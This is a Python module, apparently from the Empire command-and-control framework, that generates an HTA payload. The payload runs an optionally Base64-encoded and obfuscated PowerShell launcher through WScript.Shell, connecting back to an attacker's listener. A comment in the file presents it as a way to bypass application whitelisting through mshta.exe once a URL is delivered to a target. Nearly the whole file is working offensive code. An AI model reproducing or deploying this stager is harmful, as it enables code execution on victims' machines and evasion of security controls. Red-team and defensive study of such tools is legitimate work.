from __future__ import print_function

from builtins import object

from empire.server.common import helpers


class Stager(object):
    def __init__(self, mainMenu, params=[]):

        self.info = {
            "Name": "HTA",
            "Author": ["@subTee"],
            "Description": "Generates an HTA (HyperText Application) For Internet Explorer",
            "Comments": [
                "You will need to deliver a url to the target to launch the HTA.  Often bypasses Whitelists since it is executed by mshta.exe"
            ],
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            "Listener": {
                "Description": "Listener to generate stager for.",
                "Required": True,
                "Value": "",
            },
            "Language": {
                "Description": "Language of the stager to generate.",
                "Required": True,
                "Value": "powershell",
                "SuggestedValues": ["powershell"],
                "Strict": True,
            },
            "StagerRetries": {
                "Description": "Times for the stager to retry connecting.",
                "Required": False,
                "Value": "0",
            },
            "OutFile": {
                "Description": "File to output HTA to, otherwise displayed on the screen.",
                "Required": False,
                "Value": "",
            },
            "Base64": {
                "Description": "Switch. Base64 encode the output.",
                "Required": True,
                "Value": "True",
                "SuggestedValues": ["True", "False"],
                "Strict": True,
            },
            "Obfuscate": {
                "Description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.",
                "Required": False,
                "Value": "False",
                "SuggestedValues": ["True", "False"],
                "Strict": True,
            },
            "ObfuscateCommand": {
                "Description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.",
                "Required": False,
                "Value": r"Token\All\1",
            },
            "UserAgent": {
                "Description": "User-agent string to use for the staging request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
            "Proxy": {
                "Description": "Proxy to use for request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
            "ProxyCreds": {
                "Description": "Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]["Value"] = value

    def generate(self):

        # extract all of our options
        language = self.options["Language"]["Value"]
        listener_name = self.options["Listener"]["Value"]
        base64 = self.options["Base64"]["Value"]
        obfuscate = self.options["Obfuscate"]["Value"]
        obfuscate_command = self.options["ObfuscateCommand"]["Value"]
        user_agent = self.options["UserAgent"]["Value"]
        proxy = self.options["Proxy"]["Value"]
        proxy_creds = self.options["ProxyCreds"]["Value"]
        stager_retries = self.options["StagerRetries"]["Value"]

        encode = False
        if base64.lower() == "true":
            encode = True

        obfuscate_script = False
        if obfuscate.lower() == "true":
            obfuscate_script = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(
            listenerName=listener_name,
            language=language,
            encode=encode,
            obfuscate=obfuscate_script,
            obfuscationCommand=obfuscate_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            stagerRetries=stager_retries,
        )

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        else:
            code = "<html><head><script>var c= '"
            code += launcher.replace("'", "\\'") + "'\n"
            code += "new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>"

        return code
